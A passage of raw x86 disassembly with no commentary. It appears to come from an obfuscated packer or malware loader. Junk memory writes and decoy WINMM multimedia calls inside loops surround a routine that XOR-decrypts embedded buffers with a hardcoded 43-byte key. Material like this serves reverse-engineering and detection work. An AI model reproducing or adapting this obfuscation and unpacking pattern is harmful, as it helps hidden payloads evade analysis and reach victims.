mov dword [0x413d7c], 0xdf1e3a47
call dword [sym.imp.WINMM.dll_midiStreamPosition]
mov dword [0x416170], 0x57a3fe31
mov dword [0x416174], esi
mov dword [0x415b98], 0xb8627a46
mov dword [0x415b9c], ebx
fld dword [0x410700]
mov dword [0x416908], 0xc1767965
fstp dword [0x415b94]
mov dword [0x41690c], ebx
fld dword [0x4106fc]
mov byte [0x41389b], 0xc7
fstp dword [0x4151bc]
mov dword [0x416928], 0xa0ada897
fld dword [0x4106f8]
mov dword [0x41692c], ebx
fstp dword [0x4138a4]
mov dword [0x413ddc], 0x446d865f
mov dword [0x416720], 0x3d38e829
mov dword [0x416724], esi
mov byte [0x415119], 0xc9
fld dword [0x4106f4]
push 0xa5a0945a
fstp dword [0x4162a0]
push ecx
fld dword [0x4162a4]
mov dword [0x4142e0], 0xde7a221f
fstp dword [esp]
push 0x417290
mov dword [0x4142e4], ebx
mov dword [0x414fd8], 0x713f1632
mov dword [0x414fdc], esi
mov byte [0x415118], 0xa3
mov dword [0x415b90], 0xa5a0945a
mov dword [0x415ed0], 0xec804735
mov dword [0x415ed4], ebx
call edi
fld dword [0x4106f0]
fstp dword [0x4162a0]
mov byte [0x4161b6], 0x2a
mov dword [0x416230], 0xa0ce9a45
mov dword [0x4151c0], 0x3c769a4c
mov dword [0x4151c4], esi
mov dword [0x416284], 0xfcbfb044
mov edx, dword [0x413ba4]
push 0x4137f8
push edx
mov dword [0x414fd8], 0x28e1171f
mov dword [0x414fdc], esi
mov dword [0x416130], 0x29bfc43c
mov dword [0x416134], esi
mov byte [0x416196], 0xd
mov dword [0x417748], 0x2b002853
mov dword [0x41774c], esi
call dword [sym.imp.WINMM.dll_midiInReset]
fld dword [str.rT]
fstp dword [0x414f24]
mov byte [0x415118], 0x86
mov dword [0x415af4], 0x888d463e
mov dword [0x415ae0], 0xd2161ca8
mov dword [str.hX_fO_f_], 0xfd3bc30e
mov eax, 0xf3cda41c
mov dword [0x416210], 0x6a6aeb98
mov dword [0x4147a0], 0x975c07e5
mov dword [0x4147a4], ebx
mov byte [0x41389a], 0x87
mov dword [0x416214], 0xda185f73
mov dword [0x415b90], 0x33ae7854
fld dword [0x4106e8]
inc eax
fstp dword [0x413c94]
mov dword [0x413ddc], 0xe650afd0
fld dword [0x4106e4]
mov byte [0x41389b], 0x9b
fstp dword [0x414ec4]
mov dword [0x415b98], 0xd82cc0a4
fld dword [str.:PN]
mov dword [0x415b9c], ebx
fstp dword [0x41389c]
mov dword [0x417074], 0xb94f123c
fld dword [0x4106dc]
mov dword [0x413d7c], eax
fstp dword [0x414f20]
fld dword [0x4106d8]
fstp dword [0x415c3c]
cmp eax, 0x326
jl 0x402960
fld dword [0x4106d4]
mov byte [0x415119], 0xdf
fstp dword [0x414f14]
mov dword [0x417110], 0xa8751de0
fld dword [0x4106d0]
mov dword [0x415184], 0x3dfd5578
fstp dword [0x41616c]
mov dword [0x41741c], 0x50adcb6
fld dword [0x4106cc]
mov dword [0x416214], 0x13b770b2
fstp dword [0x414f68]
mov byte [0x413dab], 0x65
fld dword [0x4106c8]
mov dword [0x416b68], 0xb3c28886
fstp dword [0x414f20]
mov dword [0x416b6c], ebx
fld dword [0x4106c4]
mov dword [0x416130], 0x481c3b4
fstp dword [0x4162a4]
mov dword [0x416134], esi
mov dword [0x416170], 0xd2a2932d
mov dword [0x416174], ebx
mov dword [0x416528], 0x6ced6b2b
mov dword [0x41652c], esi
mov eax, dword [0x416174]
fld dword [0x4106c0]
mov ecx, dword [0x416170]
fstp dword [0x41728c]
movzx edx, byte [0x413ddb]
push eax
mov eax, dword [0x4176c4]
push ecx
push edx
push eax
mov dword [0x4166cc], 0x142e8979
mov dword [0x415b90], 0x7bf81ad6
mov dword [0x415670], 0xe7a2e229
mov dword [0x415674], ebx
mov byte [0x413dbe], 0x7b
mov dword [0x4166c8], 0xba0b9224
call dword [sym.imp.WINMM.dll_mciSetYieldProc]
mov eax, dword [0x417748]
fld dword [0x4106bc]
add eax, 1
adc dword [0x41774c], esi
fstp dword [0x4162a0]
mov dword [0x416ac8], 0x37e59fff
mov dword [0x416acc], esi
mov dword [0x416210], 0xb9c2752c
mov dword [0x417748], eax
js 0x402930
jg 0x402dda
cmp eax, 0x1da
jb 0x402930
mov eax, dword [0x413ddc]
inc eax
mov dword [0x4162b8], 0x5360c6ab
mov dword [0x4162bc], esi
mov dword [0x4176c4], 0xf104314b
mov byte [0x413db7], 0x56
mov dword [0x417148], 0x9401c830
mov dword [0x416210], 0xb535083a
mov dword [0x415140], 0xd8b28ce2
mov byte [0x41615a], 0x73
mov byte [0x413dbb], 0xc6
mov dword [0x4172ac], 0x8b6aff2a
mov dword [0x413ddc], eax
cmp eax, 0x1b9
jl 0x402910
fld dword [0x4106b8]
mov ecx, 0xafef8dc
fstp dword [0x4162a0]
mov dword [0x41774c], esi
fld dword [0x4106b4]
mov dword [0x417570], 0xf629ee4a
fstp dword [0x415b94]
mov byte [0x4161b6], 0xe1
mov dword [0x414de0], 0xec1918f2
mov dword [0x414de4], ebx
mov dword [0x417250], 0x3d55530a
mov dword [0x413ba4], 0x4dfbb543
mov dword [0x417748], 0xe1924fd
mov dword [0x4176c4], ecx
mov dword [0x415180], 0x75a84fc
xor esi, esi
jmp 0x402ec3
mov ecx, dword [0x4176c4]
xor edi, edi
mov dword [ebp - 0x38], 0x34396cc6
mov dword [ebp - 0x34], 0x13c75c00
mov dword [ebp - 0x30], 0xba642f10
mov dword [ebp - 0x2c], 0xd207d4ad
mov dword [ebp - 0x28], 0xef952079
mov dword [ebp - 0x24], 0x2815c3d9
mov dword [ebp - 0x20], 0xee957109
mov dword [ebp - 0x1c], 0x64c0089
mov dword [ebp - 0x18], 0x20d9c34a
mov dword [ebp - 0x14], 0xaa20d133
mov word [ebp - 0x10], 0x6cf7
mov byte [ebp - 0xe], 0xe1
xor eax, eax
jmp 0x402f20
mov dl, byte [ebp + edi - 0x38]
xor byte [eax + 0x417750], dl
inc edi
cmp edi, 0x2b
jne 0x402f32
xor edi, edi
mov dl, byte [ebp + edi - 0x38]
xor byte [eax + 0x417751], dl
inc edi
cmp edi, 0x2b
jne 0x402f44
xor edi, edi
add eax, 2
cmp eax, 0x7ca
jb 0x402f20
cmp dword [0x416214], 0xf7b17b3f
jne 0x4034a0
mov eax, dword [0x413d7c]
mov dword [0x4172fc], 0x49
lea ecx, [ecx]
cmp eax, 0x594c9791
jne 0x40341a
mov dword [0x4166cc], 0xa5
xor esi, esi
jmp 0x402f90
mov dword [0x414fe0], 0xa1
mov dword [0x414fe4], esi
cmp dword [0x4168c0], 0x4a1dbec5
jne 0x4032df
cmp dword [0x4168c4], esi
jne 0x4032df
jmp 0x402fc6
mov ecx, dword [0x4176c4]
cmp dword [0x4164b8], 0xa839df03
jne 0x403180
cmp dword [0x4164bc], ebx
jne 0x403180
mov dword [0x416214], 0x62
lea esp, [esp]
mov edi, dword [sym.imp.WINMM.dll_mciSetYieldProc]
mov dword [0x415b90], 0x5f
xor esi, esi
movzx eax, byte [0x413ddb]
fld dword [0x4106b0]
push eax
fstp dword [0x4162a4]
push ecx
mov dword [0x413d7c], 0xa9c002ea
mov dword [0x417748], 0x7c8ad843
mov dword [0x41774c], esi
mov dword [0x414650], 0x7d8038f2
mov dword [0x414654], esi
mov dword [0x4151c0], 0xbba560e8
mov dword [0x4151c4], ebx
call edi
mov eax, dword [0x415b90]
fld dword [0x4106ac]
inc eax
mov ecx, 0xc6fee6a
fstp dword [0x4162a0]
mov dword [0x4176c4], ecx
mov dword [0x415b90], eax
cmp eax, 0x1af
jl 0x403002
fld dword [0x4106a8]
mov eax, dword [0x416214]
fstp dword [0x414fd4]
inc eax
fld dword [str.dY_a]
mov dword [0x415b90], 0x8b9d7df0
fstp dword [0x415bbc]
mov byte [0x413ddb], 0x3c
fld dword [0x4106a0]
mov dword [0x4176f0], 0xcc32c2a5
fstp dword [0x415be0]
mov dword [0x4176f4], ebx
mov dword [str.Gh_2], 0xf1ded660
mov dword [0x415f18], 0xe94cc99b
mov dword [0x415f1c], ebx
mov byte [0x41615a], 0x3d
mov dword [0x416490], 0x64174e19
mov dword [0x416494], esi
mov dword [0x416214], eax
cmp eax, 0x482
jl 0x402ff0
fld dword [0x41069c]
mov dword [0x416170], 0x94124824
fstp dword [0x41389c]
mov dword [0x416174], ebx
fld dword [str.___rN]
mov dword [0x414fe0], 0xfcda65ba
fstp dword [0x4162a0]
mov dword [0x414fe4], ebx
fld dword [0x410694]
mov dword [0x4176e8], 0xe4769c42
fstp dword [0x41728c]
mov dword [0x4176ec], ebx
mov dword [0x4142e0], 0xc953e0bd
mov dword [0x4142e4], ebx
mov dword [0x4172fc], 0xa422e9f8
mov dword [0x416214], 0x3a6efd4
mov ecx, dword [0x416134]
mov edx, dword [0x416130]
push ecx
push edx
push 0x415120
mov dword [0x416268], 0x87cbd22b
mov dword [0x4151c0], 0xe15b3177
mov dword [0x4151c4], ebx
mov dword [0x4166c8], 0x7a823bd8
mov dword [0x413ddc], 0xa1ff7b73
mov dword [0x413d7c], 0x8dd05e17
mov byte [0x415119], 0xb9
mov dword [0x416910], 0x94ce0f44
mov dword [0x416914], ebx
mov dword [0x416d10], 0xf5637b52
mov dword [0x416d14], ebx
call dword [sym.imp.WINMM.dll_waveOutGetDevCapsW]
fld dword [0x410690]
mov eax, dword [0x413d7c]
fstp dword [0x41389c]
fld dword [0x41068c]
inc eax
fstp dword [0x414fd4]
xor esi, esi
fld dword [0x410688]
mov dword [0x415e28], 0x2d22c4c0
fstp dword [0x415c30]
mov dword [0x415e2c], esi
fld dword [0x410684]
mov dword [0x416d60], 0xc872529c
fstp dword [0x414bb0]
mov dword [0x416d64], ebx
mov dword [0x4172fc], 0xe34f3105
mov dword [0x413d7c], eax
cmp eax, 0x199
jl 0x402fc0
mov eax, dword [0x415b9c]
fld dword [0x410680]
mov ecx, dword [0x415b98]
fstp dword [0x415b94]
push 0x415ba0
push 0x414f28
push eax
push ecx
push 0x4137c8
mov dword [0x417230], 0xdca60eaa
mov byte [0x415119], 0x17
call dword [sym.imp.WINMM.dll_mciSendCommandA]
fld dword [0x41067c]
mov ecx, dword [0x4176c4]
fstp dword [0x413c94]
mov dword [0x4150f8], 0x717c609
mov dword [0x416214], 0x8495d7a9
mov dword [0x414cf8], 0x3586dc4
mov dword [0x414cfc], esi
fld dword [str.4e7]
add dword [0x414fe0], 1
fstp dword [0x4162a4]
mov byte [0x413db1], 0xc7
fld dword [0x410674]
mov byte [0x41389b], 0x2a
adc dword [0x414fe4], esi
fstp dword [0x41728c]
mov dword [0x413d7c], 0xdc2eeee4
js 0x402fa0
jg 0x403334
cmp dword [0x414fe0], 0x21f
jb 0x402fa0
push 0x4138a0
mov dword [0x416224], 0x969c0f0a
mov dword [0x4142e0], 0x8136a75d
mov dword [0x4142e4], ebx
mov dword [0x417220], 0x9dcc416f
call dword [sym.imp.WINMM.dll_joyReleaseCapture]
fld dword [0x410670]
mov eax, dword [0x4166cc]
fstp dword [0x4162a4]
mov ecx, dword [0x4176c4]
inc eax
mov dword [0x416dc8], 0x6d495301
mov dword [0x416dcc], esi
mov byte [0x415119], 0x26
mov dword [0x4166cc], eax
cmp eax, 0x4c0
jl 0x402f90
fld dword [0x41066c]
mov dword [0x414154], esi
fstp dword [0x415bcc]
mov eax, 0xb87aa42b
fld dword [0x410668]
mov dword [0x416214], 0x65d66c3a
fstp dword [0x415b94]
mov byte [0x41615a], 0xaa
fld dword [0x410664]
mov dword [0x414150], 0x7a919601
fstp dword [0x41728c]
mov dword [0x417200], 0xdde4d4ad
mov byte [0x415118], 0x11
mov byte [0x41389a], 0xf2
mov dword [0x41723c], 0xcc65dc8b
mov dword [0x4170b8], 0xfb36d13b
xor esi, esi
fld dword [str._f_p]
mov dword [0x417748], 0x1783f579
fstp dword [0x4162a4]
mov dword [0x41774c], esi
fld dword [0x41065c]
mov dword [0x4142e0], 0xc9fefc0c
fstp dword [0x414fc8]
mov dword [0x4142e4], ebx
fld dword [0x410658]
mov dword [0x415b98], 0x15e350a7
fstp dword [0x415bc0]
mov dword [0x415b9c], esi
fld dword [0x410654]
mov byte [0x41389b], 0xe3
fstp dword [0x414fd4]
mov dword [0x415398], 0xe7dd236b
mov dword [0x41539c], ebx
mov dword [0x4172fc], 0xa816a193
jmp 0x402f70
cmp dword [0x41628c], 0xbd1679f6
jne 0x403a80
mov edi, dword [sym.imp.WINMM.dll_mmioClose]
mov dword [0x413d7c], 0xfe
xor esi, esi
jmp 0x4034d0
mov eax, dword [0x4166c8]
mov dword [0x416210], 0x8d
nop
cmp dword [0x41625c], 0x2a859304
jne 0x4038fc
mov dword [0x4176c4], 0x93
xor esi, esi
jmp 0x403505
mov eax, dword [0x4166c8]
mov dword [0x415b90], 0x84
nop
mov dword [0x414fe0], 0x7e
mov dword [0x414fe4], esi
cmp dword [0x416214], 0xf6933939
jne 0x4036f0
mov dword [0x416170], 0x47
mov dword [0x416174], esi
mov dword [0x4176c4], 0xe5
mov esi, 0x94229f80
jmp 0x403556
mov eax, dword [0x4166c8]
mov edx, dword [0x416210]
fld dword [0x410650]
push eax
fstp dword [0x41616c]
fld dword [0x414fd4]
push edx
push eax
push ecx
fstp dword [esp]
push 0x416178
mov dword [0x4166cc], esi
mov byte [0x41389a], 0x9b
mov dword [0x4150b4], 0x6cdc10c4
mov byte [0x415119], 0xbf
call edi
fld dword [0x41064c]
mov eax, dword [0x4176c4]
fstp dword [0x414fcc]
fld dword [str._iRLw_]
inc eax
fstp dword [0x4162a4]
mov dword [0x4166cc], 0xa95ae26b
fld dword [0x410644]
mov dword [0x4176c4], eax
fstp dword [0x414ef0]
cmp eax, 0x17e
jl 0x403551
movzx eax, byte [0x415119]
fld dword [0x410640]
mov ecx, dword [0x4151c4]
fstp dword [0x41616c]
mov edx, dword [0x4151c0]
push eax
push 0x417008
push ecx
push edx
mov dword [0x4172ac], 0x439e3657
call dword [sym.imp.WINMM.dll_mciGetDeviceIDFromElementIDW]
add dword [0x416170], 1
mov eax, 0x66e2813f
mov byte [0x413dbb], 0x93
adc dword [0x416174], 0
mov dword [0x4166c8], eax
mov dword [0x413ba4], 0x3a96063c
mov dword [0x415180], 0xa4adf956
mov dword [0x417218], 0xb5bdb483
js 0x403540
jg 0x40366a
cmp dword [0x416170], 0x16c
jb 0x403540
mov eax, dword [0x41774c]
mov ecx, dword [0x417748]
mov edx, dword [0x415b9c]
push eax
push ecx
push 0x4137f8
push edx
mov edx, dword [0x415b98]
push edx
push eax
push ecx
mov dword [str.i_Q], 0xfde3b125
mov dword [0x413fbc], ebx
mov dword [0x4142e0], 0xf98674e7
mov dword [0x4142e4], ebx
mov byte [0x41389b], 0xd6
mov dword [0x413ddc], 0x8c9f9fa8
call dword [sym.imp.WINMM.dll_mmioGetInfo]
mov eax, 0x61070993
mov dword [0x4166c8], eax
mov dword [0x4176c4], 0xd90deadc
mov byte [0x413ddb], 0x41
mov dword [0x4151c0], 0xc41cb9d3
mov dword [0x4151c4], ebx
xor esi, esi
fld dword [0x41063c]
add dword [0x414fe0], 1
fstp dword [0x414b14]
mov byte [0x415119], 0x7a
fld dword [0x410638]
mov dword [0x414018], 0xf0bbe61a
adc dword [0x414fe4], esi
fstp dword [0x414fd4]
fld dword [0x410634]
mov dword [0x41401c], ebx
fstp dword [0x415b94]
mov dword [0x415130], 0x4458ba44
mov dword [0x416f58], 0xeefb11ba
mov dword [0x416f5c], ebx
mov byte [0x413dc6], 0xda
mov dword [0x4144d0], 0x9b25afde
mov dword [0x4144d4], ebx
mov dword [0x413d7c], 0xf47574a9
js 0x403520
jg 0x40378b
cmp dword [0x414fe0], 0x424
jb 0x403520
mov ecx, dword [0x415b90]
fld dword [0x410630]
fstp dword [0x414fd4]
inc ecx
fld dword [0x41062c]
mov dword [0x414fe0], 0xf8611dd
fstp dword [0x4139d8]
mov dword [0x414fe4], esi
mov dword [0x413288], 0xd4dd43f2
mov dword [0x41328c], ebx
mov dword [0x416210], 0x7f88eac4
mov dword [0x4172cc], 0x224696ce
mov dword [0x4172fc], 0xa668232c
mov dword [0x415b90], ecx
cmp ecx, 0x1e5
jl 0x403510
movzx eax, byte [0x413ddb]
push 0x414df0
push eax
push 0x4142e8
mov dword [0x413318], 0x6c402a6b
mov dword [0x41331c], esi
mov dword [0x415168], 0xf1269e6f
mov dword [0x4172fc], 0x562e7f50
mov byte [0x413d9d], 0xfd
mov dword [0x414fd8], 0xb7cadfe0
mov dword [0x414fdc], ebx
mov dword [0x4166c8], 0x7ab82448
call dword [sym.imp.WINMM.dll_midiStreamOut]
mov eax, dword [0x4176c4]
fld dword [0x410628]
inc eax
fstp dword [0x4162a0]
mov dword [0x414cf8], 0x8278bf14
mov dword [0x414cfc], ebx
mov dword [0x4172dc], 0xe7eab69e
mov dword [0x4176c4], eax
cmp eax, 0x22f
jl 0x403500
fld dword [0x410624]
mov eax, 0xf5ce38be
fstp dword [0x414fcc]
mov dword [0x4166fc], esi
fld dword [0x410620]
mov dword [0x415d38], 0x9a56297f
fstp dword [0x413c30]
mov dword [0x415d3c], ebx
mov dword [0x4166c8], eax
mov dword [0x415b90], 0x920f8475
mov dword [0x4166cc], 0x9217fe67
mov dword [0x4166f8], 0x2103600c
mov dword [0x4151a0], 0x474dd2ad
mov byte [0x413817], 0x6d
xor esi, esi
fld dword [0x41061c]
mov ecx, dword [0x416210]
fstp dword [0x4162a4]
inc ecx
fld dword [0x410618]
mov dword [0x417040], 0xc79b3d4a
fstp dword [0x414f20]
mov dword [0x414cd8], 0xa56169ab
fld dword [0x410614]
mov dword [0x414cdc], ebx
fstp dword [0x415c10]
mov dword [0x417748], 0x2ecb3326
fld dword [0x410610]
mov dword [0x41774c], esi
fstp dword [0x4162a0]
mov dword [0x4172fc], 0xd58c6b3d
fld dword [0x41060c]
mov dword [0x416130], 0xd7ed3261
fstp dword [0x414fd0]
mov dword [0x416134], ebx
mov dword [0x416770], 0x59b45a73
mov dword [0x416774], esi
mov dword [0x416210], ecx
cmp ecx, 0x4d5
jl 0x4034e0
push eax
mov dword [0x416210], 0xcf6183c6
mov dword [0x416ce8], 0x5af1d29c
mov dword [0x416cec], esi
mov dword [0x416938], 0x268ac3ef
mov dword [0x41693c], esi
call dword [sym.imp.WINMM.dll_midiOutOpen]
fld dword [0x410608]
mov eax, dword [0x413d7c]
fstp dword [0x414fd0]
inc eax
mov dword [0x415b90], 0xce1e4569
mov dword [0x413d7c], eax
cmp eax, 0x1b0
jl 0x4034d0
fld dword [0x410604]
mov dword [0x416dc4], esi
fstp dword [0x414fcc]
mov dword [0x416064], esi
fld dword [0x410600]
mov byte [0x415119], 0xd1
fstp dword [0x4149f4]
mov dword [0x413d7c], 0x8d5d1bbf
fld dword [0x4105fc]
mov dword [0x4142e0], 0x9ce504c6
fstp dword [0x414a80]
mov dword [0x4142e4], ebx
mov dword [0x4137d8], 0xe4224deb
mov dword [0x4137dc], ebx
mov dword [str.y75_b], 0x4e09c717
mov dword [0x416060], 0x5a623ce7
mov byte [0x41389a], 0xd8
xor esi, esi
xor eax, eax
mov dword [ebp - 0x38], 0x34396cc6
mov dword [ebp - 0x34], 0x13c75c00
mov dword [ebp - 0x30], 0xba642f10
mov dword [ebp - 0x2c], 0xd207d4ad
mov dword [ebp - 0x28], 0xef952079
mov dword [ebp - 0x24], 0x2815c3d9
mov dword [ebp - 0x20], 0xee957109
mov dword [ebp - 0x1c], 0x64c0089
mov dword [ebp - 0x18], 0x20d9c34a
mov dword [ebp - 0x14], 0xaa20d133
mov word [ebp - 0x10], 0x6cf7
mov byte [ebp - 0xe], 0xe1
xor edi, edi
mov cl, byte [ebp + eax - 0x38]
xor byte [edi + 0x417f20], cl
inc eax
cmp eax, 0x2b
jne 0x403ae6
xor eax, eax
mov dl, byte [ebp + eax - 0x38]
xor byte [edi + 0x417f21], dl
inc eax
cmp eax, 0x2b
jne 0x403af8
xor eax, eax
mov cl, byte [ebp + eax - 0x38]
xor byte [edi + 0x417f22], cl
inc eax
cmp eax, 0x2b
jne 0x403b0a
xor eax, eax
mov dl, byte [ebp + eax - 0x38]
xor byte [edi + 0x417f23], dl
inc eax
cmp eax, 0x2b
jne 0x403b1c
xor eax, eax
mov cl, byte [ebp + eax - 0x38]
xor byte [edi + 0x417f24], cl
inc eax
cmp eax, 0x2b
jne 0x403b2e
xor eax, eax
mov dl, byte [ebp + eax - 0x38]
xor byte [edi + 0x417f25], dl
inc eax
cmp eax, 0x2b
jne 0x403b40
xor eax, eax
add edi, 6
cmp edi, 0x1e00
jb 0x403ad4
cmp dword [0x4155d0], 0xf5de3f73
jne 0x403f91
cmp dword [0x4155d4], ebx
jne 0x403f91
cmp dword [0x4168f0], 0xa9807e5a
jne 0x403f2a
cmp dword [0x4168f4], ebx
jne 0x403f2a
cmp dword [0x416210], 0xa6395587
jne 0x403ed1
mov edi, dword [sym.imp.WINMM.dll_mixerOpen]
mov edx, dword [0x416174]
mov ecx, dword [0x416170]
mov dword [0x413d7c], 0xa9
nop
mov dword [0x4142e0], 0x2f
mov dword [0x4142e4], esi
mov dword [0x4166cc], 0x5f
xor esi, esi
lea esp, [esp]
cmp dword [0x4137e0], 0x17633731
jne 0x403c58
cmp dword [0x4137e4], esi
jne 0x403c58
cmp dword [0x417708], 0x173118fb
jne 0x403c04
cmp dword [0x41770c], esi
je 0x403e50
fld dword [0x4105f8]
mov dword [0x414fe0], 0xc893880a
fstp dword [0x414fd0]
mov dword [0x414fe4], ebx
fld dword [0x4105f4]
mov dword [0x41727c], 0x542ec616
fstp dword [0x415c10]
mov dword [0x4172fc], 0xb6ba7239
fld dword [0x4105f0]
fstp dword [0x41616c]
fld dword [0x4105ec]
fstp dword [0x414f24]
fld dword [0x415b94]
push 0x4138a0
sub esp, 8
fstp dword [esp + 4]
mov dword [0x415950], 0xd0d93db2
fld dword [0x414fd4]
mov dword [0x415e48], 0x8ccff8a
fstp dword [esp]
push edx
push ecx
push 0x4137f8
mov dword [0x415e4c], esi
mov byte [0x413800], 0xb6
call edi
mov eax, dword [0x4166cc]
inc eax
mov ecx, 0x83f038fa
mov edx, ebx
mov byte [0x416145], 0x7f
mov dword [0x41708c], 0xa8eb284e
mov dword [0x416170], ecx
mov dword [0x416174], edx
mov dword [0x416210], 0xfbfb4bd8
mov dword [0x414fd8], 0xbc395df0
mov dword [0x414fdc], ebx
mov dword [0x415a58], 0xddf198a7
mov dword [0x4166cc], eax
cmp eax, 0x2d2
jl 0x403bd0
fld dword [0x4105e8]
add dword [0x4142e0], 1
fstp dword [0x4151bc]
mov byte [0x413dae], 0x56
fld dword [0x4105e4]
mov dword [0x414cd8], 0xc4997ce
adc dword [0x4142e4], esi
fstp dword [0x414fd0]
fld dword [0x4105e0]
mov dword [0x414cdc], esi
fstp dword [0x415b94]
mov dword [0x416448], 0xf1b0ac20
mov dword [0x41644c], ebx
mov dword [0x4176e8], 0xc592e657
mov dword [0x4176ec], ebx
mov dword [0x414fe0], 0x1fa9ea69
mov dword [0x414fe4], esi
mov dword [0x414238], 0xd2302022
mov dword [0x41423c], ebx
js 0x403bc0
jg 0x403d9b
cmp dword [0x4142e0], 0x1a6
jb 0x403bc0
movzx eax, byte [0x413ddb]
fld dword [0x4105dc]
push ebx
fstp dword [0x414fd4]
fld dword [0x4105d8]
push 0x83f038fa
push eax
fstp dword [0x41728c]
mov byte [0x413806], 0xb1
mov dword [0x4165c8], 0x135e3eba
mov dword [0x4165cc], esi
mov dword [0x417748], 0x64f7d693
mov dword [0x41774c], esi
mov dword [0x415110], 0xb7f0fbdb
call dword [sym.imp.WINMM.dll_waveOutReset]
inc dword [0x413d7c]
cmp dword [0x413d7c], 0x277
fld dword [0x4105d4]
mov ecx, 0xac1707e7
fstp dword [0x414fd0]
mov edx, ebx
mov byte [0x413ddb], 0xc3
mov dword [0x4176c4], 0x16af938c
mov dword [0x416170], ecx
mov dword [0x416174], edx
mov dword [0x415150], 0xb07370f5
jge 0x403e52
xor esi, esi
jmp 0x403bb0
jmp 0x403e50
mov ecx, dword [0x4172fc]
fld dword [0x4105d0]
mov edx, dword [0x41774c]
fstp dword [0x4162a4]
mov eax, dword [0x417748]
fld dword [0x4105cc]
push ecx
fstp dword [0x414fcc]
push edx
push eax
mov byte [0x413ddb], 0x13
mov dword [0x4170a4], 0x4e155e91
mov dword [0x413ddc], 0x4ceb49aa
call dword [sym.imp.WINMM.dll_mmioInstallIOProcA]
fld dword [0x4105c8]
mov dword [0x416dcc], esi
fstp dword [0x413c1c]
mov dword [0x413ddc], 0x947af115
mov dword [0x416214], 0x1548e2a7
mov dword [0x416dc8], 0x37460a2
xor esi, esi
mov byte [0x41389a], 0x75
mov dword [0x414d60], 0xde84ced7
mov dword [0x414d64], ebx
mov byte [0x4161bf], 0xc5
mov dword [0x4166cc], 0xe908bab6
mov dword [0x416f20], 0x889cb122
mov dword [0x416f24], ebx
mov dword [0x416210], 0x90904b2a
mov byte [0x41380f], 0x8c
mov dword [0x4142c0], 0xd2b5af7d
mov dword [0x4142c4], ebx
fld dword [0x4105c4]
mov dword [0x4176c4], 0x6054782b
fstp dword [0x414fd0]
mov dword [0x417130], 0x86d6fdd1
fld dword [0x4105c0]
mov dword [0x416130], 0x38c52e6a
fstp dword [0x4151bc]
mov dword [0x416134], esi
mov dword [0x413640], 0x26561d14
mov dword [0x413644], esi
mov dword [0x413ba4], 0xeab2b3d9
mov dword [0x4150a8], 0x9b7110de
mov byte [0x4161da], 0x1a
cmp dword [0x413ddc], 0x4765ccc0
jne 0x4044a4
cmp dword [0x416260], 0x75c6bd66
jne 0x404436
fld dword [0x4105bc]
mov edx, 0x42
fld dword [0x4105b8]
mov dword [0x4166cc], edx
fld dword [0x4105b4]
fld dword [0x4105b0]
fld dword [0x4105ac]
fld dword [0x4105a8]
fld dword [0x4105a4]
mov eax, 0x2a
mov dword [0x413ddc], eax
cmp dword [0x413d7c], 0xc80c6260
jne 0x4042bf
fld dword [0x4105a0]
mov edi, 0xf7
fstp dword [0x414f20]
mov dword [0x4151c4], esi
fld dword [0x41059c]
mov dword [0x416210], 0x7c72705e
fstp dword [0x415b94]
mov byte [0x415119], 0x6a
fld dword [0x410598]
mov dword [0x413d7c], 0x338acaf4
fstp dword [0x4162a4]
mov dword [0x4176c4], 0xb4a59ca4
mov dword [0x4172fc], 0x523f5533
mov eax, 0x6a
xor ecx, ecx
cmp dword [0x41502c], 0x473d30e9
jne 0x40416c
cmp edx, 0x3505f05b
jne 0x404121
cmp dword [0x4173e8], 0xa86e6d5f
jne 0x4040ed
fxch st(6)
mov dword [0x4171ac], 0x7f6d44e2
fst dword [0x414f2c]
mov dword [0x415b98], 0x6614a98f
fxch st(5)
mov dword [0x415b9c], esi
fst dword [0x414fd0]
mov dword [0x417720], 0xd55e7490
fxch st(5)
mov dword [0x417724], ebx
mov dword [0x4153f8], 0x2aeb4023
fxch st(6)
mov dword [0x4153fc], esi
mov byte [0x416159], 0x10
mov byte [0x41389b], 0x98
fld dword [0x410594]
mov dword [0x4137f0], 0x43ecdb5a
fstp dword [0x413c44]
mov dword [0x4137f4], esi
mov eax, 0xe0ca5ae
xor ecx, ecx
mov dword [0x416214], 0x11314b6
mov byte [0x415118], 0x49
fxch st(4)
mov dword [0x415b90], 0x890ba6b
fst dword [0x413d1c]
mov dword [0x4167f0], 0x11a4f2fc
fxch st(3)
mov dword [0x4167f4], esi
fst dword [0x414fcc]
mov edx, 0xc2a1dac1
fxch st(2)
mov dword [0x413ba4], 0x3030c619
fst dword [0x41389c]
fxch st(3)
fxch st(4)
fxch st(2)
fxch st(3)
fxch st(2)
add eax, 1
adc ecx, esi
mov dword [0x41510c], 0xcc5b50d3
mov dword [0x414dc8], 0x33276d0e
mov dword [0x414dcc], esi
mov dword [0x4137e8], 0x1e46a8ba
mov dword [0x4137ec], esi
mov byte [0x413d9f], 0x7b
js 0x404065
jg 0x4041b5
cmp eax, 0x3f2
jb 0x404065
fxch st(1)
add edi, 1
adc dword [0x4151c4], esi
fst dword [0x413c1c]
fxch st(1)
mov dword [0x414fe0], eax
fst dword [0x414e08]
mov dword [0x414fe4], ecx
fld dword [0x410590]
mov dword [0x415150], 0x64af2ed0
fstp dword [0x414c4c]
mov dword [0x417740], 0xa56b0bce
mov dword [0x417744], ebx
js 0x40405e
jg 0x404213
cmp edi, 0x1c8
jb 0x40405e
fstp st(4)
push ecx
mov ecx, dword [0x4151c4]
fstp st(2)
fstp st(0)
mov dword [0x4166cc], edx
fstp st(3)
mov dword [0x4151c0], edi
fstp st(1)
mov byte [0x41388c], 0xa4
fstp st(1)
mov dword [0x415a5c], 0x498cbc9b
fstp st(0)
fld dword [0x41058c]
fstp dword [0x41616c]
fld dword [0x414fd0]
fstp dword [esp]
push 0x6a
fld dword [0x41389c]
push ecx
push edi
push ecx
fstp dword [esp]
call dword [sym.imp.WINMM.dll_waveOutGetNumDevs]
fld dword [0x410588]
mov edx, dword [0x4166cc]
fstp dword [0x414fcc]
mov eax, 0xa2c8c42c
fld dword [0x4105bc]
mov dword [0x4151c0], 0xda486f70
fld dword [0x4105b8]
mov dword [0x4151c4], ebx
fld dword [0x4105b4]
fld dword [0x4105b0]
fld dword [0x4105ac]
fld dword [0x4105a8]
fld dword [0x4105a4]
fld dword [0x410584]
inc eax
fstp dword [0x413998]
mov byte [0x41389b], 0x54
fld dword [0x410580]
mov dword [0x414fd8], 0x2170258d
fstp dword [0x414fd0]
mov dword [0x414fdc], esi
mov dword [0x41625c], 0x70cb7750
mov dword [0x416130], 0x528ebed6
mov dword [0x416134], esi
mov dword [0x41703c], 0xb465bc4e
mov dword [0x413ddc], eax
cmp eax, 0x2c7
